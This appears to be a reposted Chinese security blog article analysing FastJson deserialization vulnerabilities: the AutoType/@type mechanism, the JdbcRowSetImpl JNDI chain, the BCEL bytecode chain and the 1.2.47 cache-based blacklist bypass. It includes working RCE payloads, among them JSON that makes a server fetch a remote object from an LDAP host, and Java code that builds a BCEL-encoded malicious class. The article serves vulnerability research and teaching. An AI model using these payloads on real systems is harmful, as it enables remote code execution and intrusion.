文章总结: FastJson反序列化漏洞源于其AutoType机制允许通过@type字段指定任意类,攻击者可利用此机制触发恶意代码执行。文章详细分析了漏洞原理、成因及两种主要利用链:JDBCRowSetImpl利用链通过JNDI注入实现RCE,BCEL利用链通过字节码加载执行恶意代码。此外,文章还介绍了FastJson1.2.47版本的修复方式及通过缓存机制绕过黑名单的技巧,为安全研究人员提供了深入的漏洞分析和防御思路。
综合评分: 85
文章分类: 漏洞分析,代码审计,WEB安全
FastJson 反序列化漏洞深度剖析
闪石星曜CyberSecurity
2025年10月27日 10:25
天津
以下文章来源于林可Ringo
,作者Negan
林可Ringo
.
网络安全技术笔记分享
介绍:
Fastjson 是由阿里巴巴开发的一个高性能 Java JSON 序列化/反序列化库,广泛用于将 Java 对象与 JSON 字符串相互转换。
本篇文章结构如下:
-
FastJson 反序列化漏洞流程分析(漏洞起源与触发点)
-
JDBCRowSetImpl 利用链分析
-
BCEL 利用链分析
-
FastJson 1.2.47 版本修复后绕过技巧(黑名单突破)
1、反序列化漏洞的定义:
反序列化:将 JSON 字符串还原为 Java 对象的过程。
漏洞本质:当 Fastjson 在处理不受信任的 JSON 数据时,攻击者可通过构造恶意 payload 触发任意代码执行(RCE),因为反序列化过程可能实例化攻击者控制的类。
AutoType 机制:Fastjson 的 AutoType 功能允许通过 @type 字段指定目标类,若未严格限制,攻击者可利用现有类路径中的“gadget”(工具类)执行恶意代码。
2、漏洞成因:
默认 AutoType 启用:早期版本(如 1.2.24 及以下)默认启用 AutoType,允许不受限的类型解析。
黑名单机制不足:Fastjson 使用黑名单阻止危险类,但攻击者不断发现新 gadget(如 javax.swing.JEditorPane、java.lang.Thread),黑名单难以跟上。
全局配置风险:Fastjson 使用全局 ParserConfig 实例,若一个开发者启用 AutoType,可能会影响其他代码路径,导致全局漏洞。
绕过限制:即使 AutoType 被禁用,某些版本(如 1.2.80 及之前)仍可通过特定条件绕过限制。
3、典型案例与时间线
早期漏洞(2017 年起):
- Fastjson 1.2.24 及之前版本存在反序列化漏洞,攻击者可通过 @type 指定恶意类执行代码。
- 例如,构造 {“@type”:”java.lang.Runtime”,”value”:”getRuntime().exec(‘calc’)”} 弹出计算器。
创建一个User类
public class User { private int age; private String name;
public int getAge() { System.out.println("调用了getAge方法"); return age; } public String getName() { System.out.println("调用了getName方法"); return name; } public void setAge(int age) { this.age = age; System.out.println("调用了setAge方法"); } public void setName(String name) { this.name = name; System.out.println("调用了setName方法"); } // toString @Override public String toString() { return "User{name='" + name + "', age=" + age + "}"; }}
使用parseObject,将json字符串反序列化
parseObject会自动调用setter方法
使用@type来指定加载类
会调用该类的set、get方法,
产生原因:
在parseObject反序列化的时候会调用目标类的set和get方法,
通过JSON字符串中的@type指定加载恶意类,
如果@type指定的这个类中的set或get方法包含命令执行,parseObject反序列化的时候就会执行方法中的命令。
示例:
创建一个evil类
将evil类中的set方法写入Runtime.getRuntime.exec(calc)弹出计算器的命令
使用@type来指定evil类,并设置参数,
最后利用parseObject来对Json字符串进行反序列化
成功加载了恶意类的set方法,并弹出计算器。
分析调试:
在parseObject处打上断点
进入到parse
136行指定一个解析器DefaultJSONParser,主要是用来解析传入的Json字符串
这里是Fastjson反序列化过程中的核心解析器
之后137行,调用parser去解析
跟进parser
这个方法是处理JSON值的入口方法,根据JSONLexer的token类型来决定解析的策略
parse()方法首先是初始化了一个JSONLexer
使用switch语句,根据lexer.token()获取的当前token类型,解析JSON数据并返回对应的JAVA对象
我们在启动类parseObject中传入的是{“@type”:”evil”,”calc”:”johnny”}
所以我们的代码会进入到1325行LBRACE中
调用parseObject(object,fieldName)解析对象
返回JSONObject
进入parseObject
在237行定义了一个key,之后用if判断来匹配字符,
我们当前是双引号” ,所以就会去匹配双引号中的字符,也就是@type
随后在320行
会判断,获取的key是否等于@type
我们这里就是@type。
之后就会去获取@type后面的值,也就是@type指向的类
赋值给typeName,然后利用loadClass加载这个类,也就是我们传入的evil类
到这里解析Json字符串的部分就结束了。
下面就是反序列化的部分
代码走到367行
首先获取反序列化器再根据获取的反序列化器进行反序列化
跟进
再次跟进,来到327行的getDeserializer方法
这个方法是获取特定类反序列化器的核心方法
主要功能是从缓存中获取现有的反序列化器,如果没缓存,就创建或者选择一个合适的反序列化器。
在362行对denyList黑名单做了遍历
匹配是否存在Thread,这里禁止了线程相关的类
往下走就是对一些特殊类型做处理,比如AWT类型,JDK8时间类型。。。。
在前面的代码中都没匹配到
代码走到461行
创建一个JavaBeanDeserializer
跟进来到526行
调用了JavaBeanInfo.build
它的作用就是,在创建传入类的反序列化器的时候,
通过反射分析目标类(clazz)的结构,构建JavaBeanInfo对象,
提取目标类的信息,也就是提取构造函数,getter、setter方法的信息
提取完之后
会进入到3个for循环遍历
第一个for循环遍历:
遍历Method数据,提取符合规范的setter方法。
在代码设置了过滤条件
1、方法名小于4个字符的跳过(因为setter方法至少4个字符,比如setX)
2、跳过静态方法
3、确保返回值为void(标准的setter方法就是void)
4、确保参数个数为1 (JavaBean setter接收单一参数)
5、第五个字符需要是大写 (符合命名规范)
最后添加到FieldInfo
第二个for循环遍历:
专门用来处理返回的字段
遍历上一个for循环生成的FieldInfo,提取字段。
1、跳过了static字段,因为与实例无关
2、如果字段是final,就检查是否支持以下几种类型
3、检查fieldList中是否已有同名的FieldInfo
第三个for循环遍历:
遍历clazz.getMethod返回的public方法,识别以get开头的getter方法,生成FieldInfo对象。
并与前两个for循环的结果合并,通过return new JavaBeanInfo构造JavaBeanInfo实例。
JavaBeanInfo实例构造完成之后,获取到了反序列化器,代码回到这里
调用获取到的反序列化器deserializer.deserialze对clazz进行反序列化
跟进反序列化方法
层层调用
最后走到FieldInfo类下的449行get方法,调用了invoke反射执行了evil
JDBCRowSetImpl利用链
介绍:
JDBCRowSetImpl利用链是FastJson反序列化漏洞利用链中的其中一条链,
位于com.sun.rowset.JDBCRowSetImpl,是JDK自带的类,默认存在,并且不需要额外依赖。
用作利用链的成因:
在JDBCRowSetImpl中有两个关键的属性和方法
第一个是 setDataSourceName
在这里的String name参数可控
就可以设置一个JNDI地址,比如rmi://x.x.x.x:1099/Exploit
第二个是 setAutoCommit
在设置这个autoCommit参数的时候,JdbcRowsetImpl就会触发connect()方法
内部调用lookup(dataSourceName)
这个时候lookup就会去远程加载我们传入的dataSourceName,如果传入的是JNDI,那就会远程加载恶意对象。
Payload:
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.26.1:1389/nlnvkb\",\"autoCommit\":true}
当调用parseObject(json)时,FastJson会自动调用目标类的setter方法,
刚才提到的setDataSourceName和setAutoCommit正好都是setter方法。
在setDataSourceName(String name)中把传入的值保存到成员变量dataSourceName,我们可以将它设置为JNDI地址。
在setAutoCommit(true) ,设置参数时会调用connect()方法,connet方法内部会执行lookup(dataSourceName),
如果这个时候dataSourceName是一个JNDI地址,就会触发JNDI远程加载对象。
parseObject在反序列化时先是调用setDataSourceName()触发恶意JNDI地址,然后调用setAutoCommit()触发connect(),
之后connect()又在内部调用lookup(dataSourceName),最后发起JNDI请求,远程加载对象。
总结:
Fastjson的@type机制会自动调用目标类的setter方法,setDataSourceName()参数可控——>传入恶意JNDI地址,
setAutoCommit(true)——>触发connect()——>connect()内部触发lookup(dataSourceName)——>JNDI远程加载类——RCE。
BCEL利用链
介绍:
org.apache.bcel.util.ClassLoader 是 Apache BCEL 库的一部分,用于动态加载和解析 Java 字节码。
BCEL允许用户操作和生成字节码,ClassLoader实现可通过loadClass方法加载用户提供的类。
成因:
在org.apache.bcel.util.ClassLoader类中有一个loadClass方法
如果class_name.indexOf(“$$BCEL$$”) >= 0条件成立
就会调用createClass传入class_name
跟进createClass()
首先是判断传入的class_name是否以$$BCEL$$开头
在下面调用了decode方法对传入的real_name进行解码
最后将clazz返回
回到loadClass方法
如果返回的clazz不为空,那就会调用defineClass去加载class_name和byte字节数组
如果传入的byte是一段经过Utility.encode编码后的恶意class,那就会触发恶意代码
如何才能触发到loadClass方法?
在tomcat包的dbcp下有一个BasicDataSource类中有一个createConnectionFactory()方法使用了Class.forName
如果传入的driverClassLoader不为空,那就调用driverClassLoader去加载driverClassName
如果在这里将driverClassLoader改成bcel.internal.util.ClassLoader,将driverClassName改成经过Utility.encode编码后的恶意class,Class.forName就会去加载这个恶意类
这两个参数是可控的
跟踪调用链,是哪里调用了createConnectionFactory()方法
在createDataSource()存在调用
继续跟踪
在getConnection()方法又调用了createDataSource()
Payload:
首先生成恶意类
编译成class文件
读取恶意class,利用Utility.encode将其编码
@type指向BasicDataSource类,设置driverClassName为编码后的code,再@type将driverClassloader指向bcel.internal.util.ClassLoader,利用bcel.internal.util.ClassLoader加载恶意的class类
public class Bcel {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\code-audit\\Fastjson1\\src\\main\\java\\EEEE.class")); String code = Utility.encode(bytes, true); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" + code + "\",\"driverClassloader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parseObject(s); }
}
Fastjson-1.2.47版本绕过
在FastJson1.2.25版本之后,做了一个修复
再次使用JdbcRowSetImpl链,报错,提示autoType is not support
原因是在检测AotoType时添加了一个checkAotoType方法做了校验
而在之前的版本中,是检测完之后直接调loadClass进行加载。
跟进到checkAotoType方法内部,发现有非常多的if判断
这里分析最关键的判断节点
节点1:
811行,如果 autoTypeSupport || expectClass != null
进入到黑白名单循环遍历,
如果是白名单的话,就会调用loadClass并返回,
denyList黑名单匹配到的话,就会抛出异常
黑名单:
节点2:
827行
在这里就是说,先getClassFromMapping到缓存中去找typeName,
如果没有在缓存中找到,那就 deserializers.findClass到反序列化器中去找,
在缓存或者反序列化器任意一处找到了这个class,那么就直接return返回class,直接跳过黑白名单验证。
节点3:
840行
在上面缓存依旧没找到类时,
autoTypeSupport没开启时,
就又会调用依次黑白名单遍历。
那么针对绕过方面,就只能在节点2做分析
因为typeName就是我们传入进来的@type。
checkAutoType()会首先调用 getClassFromMapping(typeName)去缓存里面找,
如果找不到,就会调用 deserializers.findClass(typeName)到反序列化器里面去找,
只要在缓存或者反序列化器中的任意一处找到了class,就会直接return,
后续的黑白名单就不会被执行。
现在需要做的,就是考虑如何将我们的目标类放入缓存中,然后让deserializer.findClass能识别它。
跟进getClassFromMapping
搜索mappings的用法
在loadClass中存在三个调用
搜索用法,在MiscCodec类下存在调用
当clazz == Class.class条件成立,就会调用loadClass
这个Class.class 就是 java.lang.Class 的 Class 对象
在此处,如果要让loadClass被调用,那就需要让这个clazz等于java.lang.Class,
把strVal字符串当作类名传进去,调用TypeUtils.loadClass加载,
成功加载后就会执行mappings.put(className,clazz)放到缓存中, 从而绕过checkAutoType()的黑白名单检测。
在上面的代码中,判断键值是否为val,之后提取键值val对应的值赋值给objVal,之后在赋值给strVal。
Payload:
"{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.26.1:1389/zgwz3n\",\"autoCommit\":true}}"
如果要绕过黑白名单,
首先传入一个java.lang.Class 对应的val值为恶意类 如(com.sun.rowset.JdbcRowSetImpl)
这一步是将恶意类放入缓存中,
之后再用之前的payload,
如果com.sun.rowset.JdbcRowSetImpl放入缓存,那么再次加载的时候,这个类就已经在缓存中了,
在checkAutoType()方法中就会直接return,不会进行黑白名单检测,达到绕过黑名单。
调试分析:
代码走到checkAutoType()
到缓存中去找typeName,我们第一次传入的是java.lang.Class
在这里找到了,之后return
之后就会去获取
MiscCodec的反序列化器
之后代码进入到MiscCodec
获取了我们传入的JdbcRowSetImpl类
往下走
来到了判断 clazz == Class.class条件成立
调用TypeUtils.loadClass
代码来到loadClass
mappings.put将获取到的JdbcRowSetImpl放入缓存中,
接着代码又回到checkAotoType
从缓存中找JdbcRowSetImpl,刚才已经放进去了,这里找到之后直接return,跳过了黑白名单的校验。
之后就和JdbcRowSetImpl链一样的调用流程了。
参考连接:
https://y4er.com/posts/fastjson-learn/
https://www.bilibili.com/video/BV1pP411N726/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:闪石星曜CyberSecurity 《FastJson 反序列化漏洞深度剖析》